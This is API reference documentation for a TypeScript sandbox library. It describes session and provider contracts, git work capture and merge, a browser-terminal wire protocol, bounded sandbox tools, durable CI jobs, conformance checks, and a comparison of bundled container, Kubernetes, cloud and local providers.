`Session` is a machine contract, not just a command transport. Its file operations and spawned commands must see the same tree.

| Obligation        | Required behavior                                                                                                                               |
| ----------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- |
| default directory | `spawn(command, {})` runs in `Session.workdir`                                                                                                  |
| relative cwd      | a relative `cwd` is taken under `workdir`, never under the transport's own directory                                                            |
| standard input    | `spawn` delivers `options.stdin` bytes as the command's complete input; a transport with no input channel stages a workspace file and redirects |
| parent creation   | `writeFile` creates missing parent directories                                                                                                  |
| absence           | `readFile` fails with `ProviderError.code === "not_found"` when the path is absent                                                              |
| contents          | file contents cross as bytes and round-trip unchanged                                                                                           |
| optional control  | `ping` keeps the spawner-level meaning; a declared `kill` ends the command and everything it started, not only the shell that wrapped it        |

```ts
import { Sandbox } from "@smthrs/sandbox"
import * as Effect from "effect/Effect"

const useMachine = Effect.scoped(
  Effect.gen(function*() {
    const session = yield* provider.acquire("run:01J...")
    yield* session.writeFile(`${session.workdir}/src/input.bin`, bytes)
    const process = yield* session.spawn("test -f src/input.bin", {})
    return yield* process.exitCode
  })
)
```

`Provider.acquire(key)` is scoped. Ephemeral providers register machine teardown as a scope finalizer. Retained providers advertise `retained: true`, leave the machine running, supply attach-only `attach(identity)`, and end it through explicit idempotent `destroy(identity)`. A missing or uncertain machine is never provisioned by `attach`. The stable key names crash-left machines; image, memory, and network policy belong to provider construction.

`Sandbox.job(provider, { command, files, capture, jobDirectory? })` adapts a retained provider to start, status, collect, and cancel. `JobHandle` and `JobResult` are its durable schemas. Collect requires a shared durable Effect `KeyValueStore` and stores output plus `Work` before destroying the machine. See [retained jobs](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/guides/retained-jobs.md) for process fencing, replay, cleanup, and executed host-death evidence.

Vercel, Daytona, Cloudflare, AWS, and Microsandbox tolerate teardown failures and log Warn records containing only the adapter's provider name, operation, and error code. Error messages and SDK causes are omitted. For teardown diagnostics, explicitly instrument the injected SDK's release method and redact captured errors before emitting a record.

`ContainerSandbox`, `KubernetesSandbox`, and `AwsSandbox` stamp a SHA-256 fingerprint of the provider, full session key, and requested machine configuration in `smithers.dev/sandbox-fingerprint` labels or tags. Reattachment requires matching metadata; missing, malformed, or mismatched inspection data fails with `unavailable` before starting, executing in, or deleting the candidate. This also applies before replacing terminal Pods or stopping duplicate ECS tasks. Leftovers created before fingerprinting must be removed explicitly before that key can be acquired again. Container image, workdir, and network mode and the Pod image and explicit service account are also checked against inspection output. With no `createArgs`, reattachment rejects host-networked or privileged Pods and host bind mounts in containers or hostPath volumes in Pods. The fingerprint includes all `createArgs`, environment, network, and role options; it is a configuration identity check, not attestation against an administrator who can rewrite provider metadata.

Every bundled provider derives its machine's name from the session key the same way: the key's leading name-safe characters, for the operator reading a container or process list, plus a 64-bit digest of the whole key. The digest is what keeps `a/b` and `a-b` on separate machines, and what keeps two keys that merely start alike apart. It is a checksum and not a cryptographic one, so 64 bits over the whole key is the claim rather than "collision proof", and because the slug IS durable machine identity, changing it orphans whatever is running under the old names.

Standard input for a transport with no input channel is staged under a session private directory in the workspace, `.smthrs-stdin`, under an unguessable name, and its removal is a finalizer of the spawn's scope rather than a `rm` appended to the command. The finalizer is registered before the first byte is written, so a write that fails partway still has its partial file taken away: no provider writes a file atomically, and `AwsSandbox` sends one remote round trip per `ExecTransport.chunkBytes` bytes. A killed or interrupted command therefore does not leave the caller's script, patch, or credential blob on the machine, and a reattached session cannot read a previous incarnation's staging file by guessing its name. What is guaranteed is the unguessable name and the scope-bound removal: the staging file is created through the session's own `writeFile`, so its mode is the machine's umask like any other file the session writes.

`commandProvider(provider, options)` projects the lifecycle back onto the spawn-only provider. Existing `RemoteChildProcessSpawner` adapters, `SandboxHealth.make`, `SandboxSupervision`, and `ProviderConformance` then compose unchanged. `options.provides` declares `kill` and `ping` before acquisition, because the projected provider must expose those capabilities statically; `stdin` is not among them, because delivering it is an obligation of every session rather than a capability a session may lack. A supervision retire-and-reopen cycle acquires a new generation; an older generation's late finalizer cannot clear the newer held session.

`fileSystem(session)` uses `Session.readFile` and `Session.writeFile` for byte transfer. It derives `exists`, `stat`, `makeDirectory`, `readDirectory`, `remove`, `rename`, `realPath`, and `readLink` with POSIX `sh` probes. Entries in `session.files` override the derived operations one by one, and an override is installed through the workdir resolver rather than beside it, so a native operation receives the rooted path without re-implementing the rule. Both arguments are rooted where both are paths the machine must reach (`rename`, `copyFile`, `link`); `symlink` is the exception, because its first argument is the text stored inside the link and POSIX resolves a relative one against the link's own directory, so rooting it would move where the link pointed. Other `FileSystem` operations retain `makeNoop`'s explicit refusal rather than simulating watches, open handles, or temporary directories.

The probe surface is intentionally honest. `stat` reports exact file size, but mode is `0` and times and ownership are absent. A probe whose utility answers `Permission denied` fails with `PermissionDenied`, the reason the platform gives `EACCES`; `stat`'s fallback is the exception, because it reads a file's bytes to size it where the platform `stat` would not. Directory listings are NUL framed through `find -print0`, so a filename may hold a newline, and no pseudo-terminal transport can columnize them. Probes require the named POSIX utilities on the machine.

```ts
const machineHost = Sandbox.layerHost(provider, {
  session: "run:01J...",
  health: { deadline: "10 seconds" }
})
```

`layerHost` acquires one session for the layer scope and derives `ChildProcessSpawner`, `FileSystem`, and `Path` from it. This layer context is what a caller hands to an agent's standard filesystem and shell tools to place both on the same machine. When the provider supplies isolation, the machine boundary, not a path guard, denies ambient host access. Closing the layer scope runs provider teardown.

The layer also serves `SandboxHealth`, built with `SandboxHealth.make` over the held session, so a caller can ask whether the machine is still there. `options.health` is the probe's `ProbeOptions`; its `deadline` defaults to 5 seconds. A session without `ping` yields the noop probe, which always answers `Healthy`. That is not a claim the machine is alive; it says nothing is watching it.

What `layerHost` deliberately does not do is what `SandboxSupervision` does for the spawn-only seam: retire an unhealthy session and open a fresh one behind the caller's back. That is right for a transport, where a command is the whole unit of work, and wrong here, because the body holding these services has been writing to this machine. Swapping it mid-action would silently discard those writes and hand the body an empty tree that still looks like its workspace. A dead machine surfaces as a failure instead, and re-provisioning belongs to whoever retries the action, which acquires the session key again.

```ts
const children = Sandbox.fanOut(session, { count: 16 }) // Effect<ReadonlyArray<Session>, ProviderError, Scope>
```

`fanOut(session, { count, concurrency? })` forks `count` children, 1 to `maxFanOut` (128), from a session that declares `fork`. Each run is a new batch: it forks one base from the session, then every child from that base, so the children share one starting tree while the session keeps changing. Children are keyed `<session id>/<batch>/child-<n>`, start without the session's credentials, and are released with the base when the acquiring scope closes, so a fan-out inside the parent's scope never outlives the parent. A count outside the bound throws a `RangeError`; a machine without `fork` fails with `unavailable`; one failed fork fails the fan-out, and machines already forked are released with the scope. `DirectorySandbox` forks by copying the session directory without vendor sign-ins (`.claude/.credentials.json`, `.claude.json`, `.codex/auth.json`, `.config/anthropic`); `TestSession` forks its in-memory tree and leaves behind the paths named in `credentials`.

### Return work from a session

```ts
const { result, work } = yield * Sandbox.run(provider, { session: "issue:42" }, agent)
```

`run(provider, options, body)` acquires one session, runs `body` with the session's `Host` services (`ChildProcessSpawner`, `FileSystem`, `Path`, `SandboxHealth`), captures the checkout, and releases the session. It answers `{ result, work }` and fails with the body's error, `ProviderError`, or `CaptureError`. A body that fails captures no work.

| Option     | Default           | Meaning                                                                      |
| ---------- | ----------------- | ---------------------------------------------------------------------------- |
| `session`  | required          | the session key                                                              |
| `base`     | `HEAD`            | the git revision the work is measured from, resolved right after acquisition |
| `checkout` | `Session.workdir` | the guest path of the git work tree; it must be the work tree's top          |
| `health`   | 5-second deadline | the `SandboxHealth` probe options, as for `layerHost`                        |

The base is resolved after the provider hands over the session, so a provider that refreshes its checkout during acquisition is measured from the commit it refreshed to. In a jj-colocated checkout `HEAD` is the parent of the working-copy change, never a change made in the guest. The capture runs inside the scope that holds the machine, before teardown.

`Work` is `Changed { session, base, patch }` or `Unchanged { session, base }`, both `Schema.TaggedClass`. `base` is a full commit id. `patch` is `git diff --cached --binary --full-index --find-renames` from `base` to the checkout's final tree, computed through a private copy of the index: committed and uncommitted edits, untracked files, deletions, renames, mode changes, and binary contents are all included, and `.gitignore`d files are not. The checkout's index and history are not changed. The guest needs `git`.

`Sandboxed(resultSchema)` is `Schema.Struct({ result: resultSchema, work: Work })`. Use it as an action's success so the journal records the work with the result.

`resolveBase(session, { checkout?, revision? })` and `capture(session, { checkout?, base })` are the two halves `run` composes, for a caller that holds its own session. Call `capture` while the session is still held.

| `CaptureError.reason` | Cause                                                                                       |
| --------------------- | ------------------------------------------------------------------------------------------- |
| `not_a_repository`    | the checkout is not the top of a git work tree, or the guest has no `git`                   |
| `base_unresolved`     | the base revision names no commit in the checkout                                           |
| `capture_failed`      | `git` failed while diffing, or the patch is not UTF-8 even with every path diffed as binary |

`hostContext(session, { health? })` builds the `Host` context `layerHost` provides from a session the caller already holds; it requires a `Scope`. `layerHost` and `run` both use it.

## TerminalProtocol

`@smthrs/sandbox/TerminalProtocol` ships ESM and CommonJS entrypoints with
matching declarations. Its nested implementation paths are private.

The wire protocol between a browser terminal and the host that attaches it to a shell in a sandbox, one WebSocket per
viewer. It is pure, so the host (`@smthrs/platform-cloudflare`'s `ContainerTerminal`) and the client
(`@smthrs/platform-browser`'s `TerminalSocket`) share one definition.

```ts
import { TerminalProtocol } from "@smthrs/sandbox"

socket.send(TerminalProtocol.encodeResize(120, 40))
const control = TerminalProtocol.decodeServerControl(text) // { type: "ready", access } | { type: "ended", reason }
if (TerminalProtocol.isFinal(code)) stop()
else wait(TerminalProtocol.reconnectDelay(attempt))
```

- **Frames:** binary frames carry bytes (the shell's output; a writer's keystrokes). Text frames carry JSON control: a
  writer's `resize { cols, rows }` (1 to `maxCols` by 1 to `maxRows`), and the host's `ready { access }` and
  `ended { reason }` (`closed`, `slept`, `lost`, `revoked`). Either side caps a frame at `maxFrameBytes` (64 KiB).
- **Close codes (`CloseCode`):** `ended` 1000, `unsupported` 1003 (a malformed control frame), `noAccess` 1008 and
  `tooBig` 1009 are final (`isFinal`); `failed` 1011 and a dropped connection (1006) reconnect.
- **Reconnects:** `reconnectDelay(attempt)` is 1 s doubling to 30 s for `reconnect.maxAttempts` (10) attempts, and
  `undefined` after; a connection that reaches `ready` starts the count again. Keystrokes are never queued while
  disconnected: input whose delivery is unknown is not safe to repeat.

## SandboxTools

Typed tools on a session's working copy, for whatever runs on the host: an agent, a button, an API route. The sandbox
exposes itself and these tools and knows nothing about agents.

```ts
import { SandboxTools } from "@smthrs/sandbox"

const ran = yield* SandboxTools.execute(session, { tool: "run", command: "npm test", timeoutSeconds: 120 }, {
  callId: "call-7f3a",
  callsDirectory: "/home/me/.smithers/calls"
})
// { tool: "run", exitCode, timedOut, stdout, stderr, stdoutBytes, stderrBytes, truncated }
```

| Tool     | Input (`Call`)                       | Output (`Result`)                                                    |
| -------- | ------------------------------------ | -------------------------------------------------------------------- |
| `run`    | `command`, `cwd?`, `timeoutSeconds?` | exit code, whether the timeout stopped it, each stream's first bytes |
| `read`   | `path`                               | the file's text, its size, whether it was cut                        |
| `write`  | `path`, `content`                    | the path and its size; directories are made                          |
| `list`   | `path?`                              | entries `{ name, kind, bytes }` in name order                        |
| `status` | none                                 | the branch (`null` when detached) and git's short status per path    |
| `diff`   | `paths?`                             | a unified diff from `HEAD`, untracked files as new ones              |

- **Bounded (`limits`):** a command runs 60 s unless it names a timeout, 600 s at most; each stream returns 64 KiB, a
  read and a write 1 MiB, a listing 1,000 entries, a diff 256 KiB, and each result says when it cut.
- **Confined:** `resolve(workdir, path)` takes a path under the workdir and refuses one that leaves it by name; the
  tools refuse it with `ToolRefused { reason: "path" }` before anything runs.
- **At most once:** `execute` fences a `run` by `callId` in `callsDirectory`, which the session's user may write and
  which lies outside the workdir. The same call again answers what the first attempt recorded; a call whose first
  attempt never recorded an exit fails `ToolLost` and does not run again. Reads and writes are repeatable.
- **Failures:** `ToolRefused` (`path`, `not_found`, `not_a_file`, `not_a_directory`, `not_a_repository`,
  `too_large`), `ToolLost`, and `ToolUnavailable { code, exitCode? }` when the session failed (`code` is the provider's)
  or the tool's script failed (`code` `unknown`, `exitCode` its step: `checkpoint` exits 120 to 124 for `mktemp`,
  `read-tree`, `add`, `diff` and `bundle`).
- **Guests:** the scripts are POSIX `sh` with git. GNU `timeout`, when the guest has it, stops a command's whole process
  group; without it the watchdog stops the command's own process.
- **Telemetry:** a span `sandbox.tool` with the tool, its outcome and a command's exit code; never a path, a command,
  content or output.

A command that can outlive one exec session or one host starts detached instead: `start(session, run, { key,
callsDirectory })` makes the key's fence once, starts the command in a process session of its own with its streams in
files, and answers its `Started { pid, startedAt }` at once; the same key again answers the same handle and starts
nothing. `observe` answers `Observed`: `running` (its runner lives in the box that started it), `finished { exitCode,
timedOut }`, or `lost` (the box restarted, or the runner died before it recorded the exit). It reads only. `collect`
answers the `RunResult` `execute` answers, as often as asked, and fails `ToolLost` for a command that never recorded
its exit. `cancel` marks the key cancelled, so a start not yet run never runs, then stops the runner's and the command's
process groups (TERM, five seconds, KILL), each only while it is still the process the runner recorded; it leaves a
finished command, one from a box that has since restarted, and a pid the box has reused alone. A TERM to the runner stops
the command's group too. Fences are named so no two keys share one. Each is a span `sandbox.command` with the operation and its outcome. `SandboxCommand` runs them as a durable job.

The failures are registered with `@smthrs/flow`'s `Fault`: `ToolRefused` is `user`, `ToolLost` `dependency`, and
`ToolUnavailable` is classed by its code as `ProviderError` is (`unavailable` and `timeout` are `infra`, the rest
`bug`), so a keyed step retries only a session that couldn't answer.

`checkpoint(session)` captures the working copy without changing it: `HEAD`, a binary patch with every tracked and
untracked change (ignored files are not carried), and a git `bundle` of the commits no remote has, such as one made in
the box; the patch and bundle together are at most `limits.checkpointBytes` (8 MiB). `restore(session, saved)` moves
`HEAD` to the checkpoint's commit when it is elsewhere and applies the patch; restore onto a clean checkout. A commit
the working copy lacks comes from the bundle, whose base commits are fetched from `origin` first, else is fetched from
`origin` by its id; `not_found` when neither has it, and `ToolUnavailable` with code `unavailable` when `origin` can't be
reached. A checkpoint without a `bundle` restores as one with an empty bundle.

## SandboxCommand

A sandbox command as durable external work: `SandboxTools`' `start`, `observe`, `collect` and `cancel` behind
`@smthrs/flow`'s `ExternalJob`, so a command that runs for minutes holds no step, host or exec session while it runs.
See [Run a long command](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/guides/run-a-long-command.md).

| Export                    | Behavior                                                                                                                                                                                                                                                                                                                                                                                                                        |
| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `make(tag, options)`      | Declares the job: payload `{ target, call }` (`target` is your schema for the box, `call` a `Run` of up to `options.maxTimeoutSeconds`), handle `{ target, pid, startedAt }`, success `RunResult`, error the tools' failures, `options.error`, `ExternalJobLost` and `ExternalJobTimedOut`. `probe`, `maxTimeoutSeconds` and `restarts` default to `defaults` and zero; `timeout` to `maxTimeoutSeconds` plus `defaults.slack`. |
| `Run(maxTimeoutSeconds?)` | A `SandboxTools.Run` whose `timeoutSeconds` goes from 1 to `maxTimeoutSeconds` (`defaults.maxTimeoutSeconds` unless given) instead of 600: the job's `call`, and a caller's own input for it.                                                                                                                                                                                                                                   |
| `operations(reach)`       | The job's operations: each reaches the box by the target the payload or handle carries. `status` maps `running`, `finished` and `lost` to `Running`, `Exited` and `Lost`; `abandon` cancels by key.                                                                                                                                                                                                                             |
| `onSession(session, dir)` | `Commands` over a session the host holds, fenced under `dir`.                                                                                                                                                                                                                                                                                                                                                                   |
| `Commands<E, R>`          | One box's `start`, `observe`, `collect` and `cancel` by key, however the host reaches it; `E` is how reaching it fails.                                                                                                                                                                                                                                                                                                         |
| `defaults`                | A probe a second after the start doubling to every 20 seconds; commands of up to an hour (`maxTimeoutSeconds`, 3600); a deadline 20 minutes (`slack`) past the longest command, counted from before the start's wake.                                                                                                                                                                                                           |

`make` throws a `RangeError` for a `maxTimeoutSeconds` that isn't whole seconds from 60 (a call that names no timeout runs
60 seconds), and for a `timeout` shorter than a command at its limit, the five seconds its timeout gives it to stop, and
`probe.max`: the deadline always covers a command at its limit. `SandboxTools.execute`'s commands, which hold an exec
session and a step, still stop at `SandboxTools.limits.maxTimeoutSeconds` (600).

A lost command is cancelled and the job fails `ExternalJobLost` once `restarts` are spent (zero unless set, so a
command runs at most once). Past the deadline the job cancels the command and fails `ExternalJobTimedOut`.

## CiJob

One CI job on one machine: the commit checked out, its steps run in order as durable actions, and an outcome. A
repository's CI calls `ci/job` once per job; `Node.all` over several jobs is a matrix, and every row reports.

```ts
import { Node } from "@smthrs/plan"
import { CiJob } from "@smthrs/sandbox"

const lint = CiJob.make("lint", {
  steps: [{ name: "install", run: "pnpm install --frozen-lockfile" }, { name: "lint", run: "pnpm lint" }]
})
const test = CiJob.make("test", { steps: [{ name: "test", run: "pnpm test" }] })
// in a flow's body:
Node.all({ lint: lint.call(target), test: test.call(target) })
// each settles { outcome: "passed" | "failed" | "cancelled" | "skipped", steps: [{ name, outcome, exitCode }] }
```

| Name                    | What it is                                                                                                |
| ----------------------- | --------------------------------------------------------------------------------------------------------- |
| `CiJob`                 | the `ci/job` flow: payload `{ target, job }`, success `Result`; it never fails                            |
| `make(name, { steps })` | a job's declaration; `.call(target)` starts it as a child run                                             |
| `Target`                | `{ run, repo, sha, ref }`: the run it belongs to, `owner/name`, the 40-hex commit, the ref                |
| `Job`, `Step`           | a job's name and 1 to 32 steps; a step's name, `run` (a `sh -c` command) and `timeoutSeconds?`            |
| `Result`, `Outcome`     | the job's outcome, then the `checkout` and each step's outcome and exit code                              |
| `Machine`               | the host's service: `checkout(target, job)`, `run(target, job, index, step)`, `release(target, job)`      |
| `layer`                 | the actions `ci/job/Checkout`, `ci/job/Step` and `ci/job/Release` over `Machine`                          |
| `MachineUnavailable`    | the machine couldn't start or answer; retried 1 s doubling to a minute for 30 minutes, then the job fails |

- **An outcome, never a failure.** A step that exits non-zero, or runs past its time (600 s at most), fails the job and
  skips the steps after it without running them. A machine that never answers fails the job.
- **Exactly the commit.** A checkout that isn't exactly `target.sha` fails the job before any step runs.
- **At most once.** Each step is its own durable action, so a resumed job never runs a step that ran; the host's
  machine runs each `(run, job, index)` once.
- **The host owns the machine.** One machine per `(target.run, job)`. The Smithers app's is a container of the branch
  sandbox's image that reaches the package registry and nothing else.

## SandboxMerge

`Apply.call({ work, repository, onto, message, key, fetch? })` is the durable
action; provide `layerApply` with the engine and host services. Its `onto` must
be a full commit ID resolved in a preceding journaled step. Only confirmed
shared Git lock contention retries (100 ms, at most 1,201 attempts). Other
`MergeError` failures stop immediately. Journaled errors retain the reason and
message; raw `apply` also retains the original host cause. Retries release repository fences and
resume the same deterministic change. Custom conflict strategies run separately.

The lower-level `apply` effect makes one attempt, with no sleep or retry:

```ts
import { Action } from "@smthrs/flow"
import { SandboxMerge } from "@smthrs/sandbox"

const outcome = yield* SandboxMerge.apply(work, {
  repository: "/srv/repo",
  onto: "main",
  message: "Fix #42",
  key: yield* Action.effectKey("apply")
})
```

`apply(work, options)` lands a session's `Work` in a host jj repository as one jj change on `onto`. The patch is applied to its own base, then the change is rebased onto `onto`, so jj merges whatever `onto` gained since the base. It requires `ChildProcessSpawner`, `FileSystem` and `@smthrs/jj`'s `RepositoryMutation` fence (`NodeJj.layerRepositoryMutation` on Node and Bun), and `jj` and `git` on the host's `PATH`.

| `ApplyOptions` | Default           | Meaning                                                                     |
| -------------- | ----------------- | --------------------------------------------------------------------------- |
| `repository`   | required          | the host jj repository's root directory                                     |
| `onto`         | required          | a jj revision naming one commit, the change's parent                        |
| `message`      | required          | the change's description                                                    |
| `key`          | required          | what makes two applications the same; the change id derives from it         |
| `fetch`        | `[]`              | arguments to `jj git fetch` when the base is missing; `false` never fetches |
| `strategy`     | `recordConflicts` | what a conflict means                                                       |

`Outcome` is `Merged { change, commit, onto }`, `Conflicted { change, commit, onto, paths }`, or the work's own `Unchanged`, which applies as nothing. `change` is the jj change id; `commit` and `onto` are commit ids. A `Conflicted` change exists and records jj conflicts in `paths`, as `jj rebase` would.

`apply` is idempotent per key: applying a key again answers the existing change's outcome. Take the key from the applying step (`Action.effectKey` from `@smthrs/flow`) or an id recorded before the work ran, never from the patch: one patch can belong to two applications, and a retry can produce another patch. It never reads or writes a working copy (`jj --ignore-working-copy`). The commit is built with git plumbing through a private index in the repository's git store and imported through a temporary `smithers-sandbox/<change>` bookmark, deleted after the rebase. An apply interrupted between import and rebase finishes on the next call.

Host import and rebase share the Node/Bun jj workspace and store fences. Their
default 120-second deadline bounds acquisition of both fences only. Commands
and confirmed shared Git `index.lock` retries run beyond that deadline once
the fences are acquired. Missing-base fetches run before acquisition, with base
presence checked again inside the fences. Cancellation and acquisition timeout
preserve captured work and any pending imported change for the next call. An active Git lock is never removed; permanent VCS failures, private
index errors and source conflicts retain their existing behavior.

Conflict strategies run after the import/rebase fence is released, so a
resolver can use ordinary fenced jj operations without nested acquisition.
The acquisition deadline does not bound a custom resolver's effects.

`MergeError.cause` optionally retains the original failure. Fence errors keep
the full `JjError`, including its code and nested `lock_timeout` cause. Host
adapter loading is lazy and shared through one memoized, typed loader.

| `MergeError.reason`   | Cause                                                                                                |
| --------------------- | ---------------------------------------------------------------------------------------------------- |
| `base_not_found`      | the work's base is not a full commit id, or is not in the repository even after the configured fetch |
| `onto_unresolved`     | `onto` does not name exactly one commit                                                              |
| `patch_rejected`      | the patch does not apply to its own base                                                             |
| `conflict`            | `failOnConflict` met a conflict; `paths` names it                                                    |
| `resolution_rejected` | a resolver's answer still has conflicts or does not descend from `onto`                              |
| `vcs_failed`          | `jj`, `git`, fence acquisition or host adapter loading failed                                        |

A `Strategy<E, R>` has one method, `onConflict(conflicted, repository)`, answering `Merged`, `Conflicted`, or a failure. `apply` lands the change before calling it.

| Strategy                | On conflict                                                                                                                                |
| ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
| `recordConflicts`       | answers `Conflicted`; the default                                                                                                          |
| `failOnConflict`        | abandons the change and fails with `conflict`; the work stays in the journal                                                               |
| `resolveWith(resolver)` | the resolver answers `{ change }`; it must name one commit descending from `onto` with no conflicts on the way, else `resolution_rejected` |

`Repository` is what a strategy receives: `path`, the repository root, and `jj(args)`, which runs `jj -R <path> --ignore-working-copy` and answers standard output or fails with `vcs_failed`.

See [Return work from a sandbox](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/guides/return-work-from-a-sandbox.md) for the two steps as flow actions.

## SandboxConformance

Conformance fixture scripts that exit unsuccessfully report a typed
`ProviderError` with code `unknown` and the exit status and stderr in its message.

```ts
import { SandboxConformance } from "@smthrs/sandbox"

const violations = yield* SandboxConformance.check(provider, {
  provides: { kill: true, ping: true }
})
```

Each check acquires a fresh session. The file checks verify binary, empty, and 64 KiB byte round-trips, `not_found`, parent creation, the default workdir and a relative `cwd`, environment delivery, standard input delivery (verified through `readFile`, so a pseudo-terminal transport is not penalized for its output), standard error arriving on one of the two streams, and a working release-then-reacquire cycle. Two checks deliberately cross surfaces: `files-reach-processes` writes through `writeFile` and measures the file with `wc -c` in a process, and `processes-reach-files` has a process produce a file that `readFile` must return, so a session serving files from anywhere but the machine its processes run on cannot pass. The suite then projects the provider through `Sandbox.commandProvider` and delegates spawn, exit, stdin, ping, and process-stop checks to `ProviderConformance`, whose kill check also runs the fixture's `survivor` probe: after a kill, a command that can still be found running on the machine is a violation even though its wrapper exited. Assert that the returned array is empty.

`CheckOptions.work` adds `captures-its-work` and `captures-no-work`, which run `resolveBase` and `capture` in the guest against a `WorkSeed`: a `git bundle` and the commit id `base` whose tree holds `workSeedFiles`. The guest needs `git`; the suite runs no host `git`.

`CheckOptions.checkTimeout` bounds every check, its own and the delegated suite's alike, on the platform timer. The default fixture is `uniquePosixCommands`, whose sleep duration is this process's own, so two suites running side by side on one host cannot mistake each other's fixture for a survivor. That uniqueness is drawn from Web Crypto and never from a process id, because this module is part of a browser-bundleable package and a free `process` identifier survives a bundle to throw in a browser.

## Providers

One row per bundled provider. Every cell is read from the provider's source and its tests. "Byte-exact command output" is about a command's own `stdout` and `stderr`; file transfer is byte-exact on all ten.

| Provider              | What a machine is                                                                 | How the vendor surface arrives                                                          | Reattaches an existing machine on the same session key                                                                        | Declares `kill`                                                      | Byte-exact command output                            | Proven against                                                                     |
| --------------------- | --------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------------------------- |
| `DirectorySandbox`    | one host directory under `root`                                                   | injected services: the host `FileSystem` and `ChildProcessSpawner`                      | yes, the recursive `makeDirectory` leaves a crash-left directory and its files in place                                       | yes, the host handle's signal                                        | yes                                                  | host directories and processes                                                     |
| `CommandSandbox`      | whatever an argv prefix reaches; the provider does not own its lifecycle          | injected spawner running the prefix, such as `ssh` with a workspace's arguments         | not applicable, the machine outlives the session; acquire wipes only the session's own pidfile directory                      | yes, a pidfile plus a `/proc` descendant walk                        | yes                                                  | host processes, and `ssh localhost` when it answers                                |
| `ContainerSandbox`    | one container from `image`, held on `sleep infinity`                              | injected spawner running a Docker-compatible CLI                                        | yes, a refused create whose name `container inspect` finds is reattached                                                      | yes, a pidfile plus a `/proc` descendant walk                        | yes                                                  | a real Docker daemon                                                               |
| `KubernetesSandbox`   | one Pod from `image`, held on `sleep infinity`                                    | injected spawner running `kubectl`                                                      | with `reattachKey`, a sealed `AlreadyExists` Pod is reattached                                                                | yes, the same pidfile script over `kubectl exec`                     | yes                                                  | a real Kubernetes cluster (OrbStack)                                               |
| `JustBashSandbox`     | one directory in a shared virtual filesystem; commands are interpreted in-process | injected interpreter slice (`JustBashLike`) and `FileSystem`                            | not applicable, in-process                                                                                                    | no                                                                   | no, `exec` reports output as strings                 | none, fake only                                                                    |
| `MicrosandboxSandbox` | one local microVM from an image or a snapshot                                     | injected SDK slice (`Sdk`)                                                              | yes, `sandboxAlreadyExists` connects to or restarts it; `persistence: "sticky"` keeps it running for that purpose             | yes, an in-guest descendant walk plus the SDK's process-group signal | yes, the SDK's byte-typed output, streamed           | a real Microsandbox microVM                                                        |
| `VercelSandbox`       | one named persistent Vercel sandbox                                               | injected SDK slice (`Sdk`) plus caller-supplied credentials                             | yes, `getOrCreate` with `persistent: true` and `resume: true`                                                                 | no                                                                   | no, `runCommand` reports output as strings           | none, fake only                                                                    |
| `DaytonaSandbox`      | one named Daytona sandbox                                                         | injected SDK slice: a configured `Daytona` client                                       | yes, `get(name)` first, `create` on a 404, `start` when attached                                                              | no                                                                   | no, `executeCommand` reports one `result` string     | none, fake only                                                                    |
| `AwsSandbox`          | one Fargate task from `RunTask`                                                   | injected SDK slice for the lifecycle, the AWS CLI over an injected spawner for commands | yes, `ListTasks` by the `startedBy` tag adopts a leftover that is RUNNING or still PENDING, and stops any duplicate beside it | yes, a pidfile plus the descendant walk through a second session     | no, the Session Manager channel is a pseudo-terminal | none live; the fake reproduces the Session Manager framing over a real local shell |
| `CloudflareSandbox`   | one Sandbox Durable Object behind a Worker binding                                | caller-supplied binding, through an injected `getSandbox` slice                         | yes, the Durable Object id is derived from the key, so the same object answers                                                | no                                                                   | no, the SDK reports output as strings                | none, fake only                                                                    |

### DirectorySandbox

```ts
import { DirectorySandbox } from "@smthrs/sandbox"

const provider = DirectorySandbox.make({
  fs,
  spawner,
  root: "/var/tmp/smithers"
})
```

`root` must be an absolute host path. `make` throws a `TypeError` for a relative or empty one, which would place every session's workdir under the engine process's working directory or directly under `/`.

`acquire` first requires `ContainedSpawner.isContained(spawner)`: a raw spawner or a wrapper with only a kill deadline fails with `unavailable` before any directory or command is created. Use `NodeHost.layerContained()` or `BunHost.layerContained()` with a `ProcessLedger`; a custom host must supply a real platform lifecycle. The filesystem and spawner remain injected values, so this package has no production platform dependency.

Acquisition creates the deterministic scratch directory, commands run there by default, and native host file operations serve it. Explicit `kill` and every spawn-scope finalizer delegate to the contained handle's `kill({ killSignal })`, including after the target's exit was observed. Cleanup failure fails scope release. The provider never signals a numeric handle pid itself: on POSIX that pid names the supervisor, while the exit code belongs to the target.

The supplied POSIX lifecycle cleans up the owned process group even after a natural target exit, including a background child that keeps output open. Explicit stopping while the target is still alive also attempts to stop descendants that escaped into another process group. That extra ancestry sweep uses revalidated positive PIDs and is best effort; automatic cleanup after natural exit does not promise to recover deliberately escaped sessions. Closing the session removes its scratch directory after process cleanup.

Each child receives only the host's `PATH`, `HOME`, `USER`, `LANG`, `LC_*`,
`TERM`, `TMPDIR`, and `SHELL`, plus names explicitly declared in the spawn's
`env`. Undeclared provider keys, tokens, and other ambient variables are
withheld. An explicitly declared name is delivered even when it looks
credential-bearing.

This is a trusted local workspace backend, **not a security boundary**. A spawned process is not confined to the scratch directory and can address whatever its host credentials permit. Use it for local composition, tests, or CI placement where the body is trusted.

### CommandSandbox

```ts
import { CommandSandbox } from "@smthrs/sandbox"

const box = CommandSandbox.make({
  spawner,
  prefix: ["ssh", "-o", "BatchMode=yes", "developer@box.example"],
  workdir: "/home/developer/workspace"
})
```

The machine is whatever `prefix` reaches, and every guest argv follows it: `[]` is this machine, `["ssh", ...]` a remote host, `["docker", "exec", "-i", name]` a running container. A prefix whose program is `ssh` joins the guest argv into one quoted command line, because `ssh` hands its arguments to the remote login shell as one string; set `joinsArguments` for another transport that does the same. `prefix` may be an effect, asked again for every command, so a transport whose credential expires, such as a Smithers Cloud workspace SSH grant, stays fresh; its `ProviderError` is the command's failure.

